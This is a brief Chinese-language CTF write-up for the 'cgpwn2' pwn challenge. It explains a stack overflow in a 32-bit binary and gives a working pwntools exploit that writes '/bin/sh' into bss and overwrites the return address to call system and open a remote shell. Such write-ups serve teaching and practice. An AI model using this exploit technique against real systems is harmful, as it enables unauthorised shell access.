cgpwn2
发现是32位文件
打开main函数发现hello双击进入
这里我们发现栈溢出了,双击name
我们发现了bss
发现这题的system有点问题,后门需要我们自己输入,刚好有bss我们直接用它
知道system的地址
exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('61.147.171.105','61646')
bss = 0x804A080
system = 0x8048420
padding = b'a'*(0x26+0x4)
io.sendlineafter(b'name','/bin/sh')
payload = padding + p32(system) + p32(0xbeff) + p32(bss)
#覆盖返回地址跳转指定的返回地址攻击
io.sendlineafter(b'here:',payload)
io.interactive()
得到flag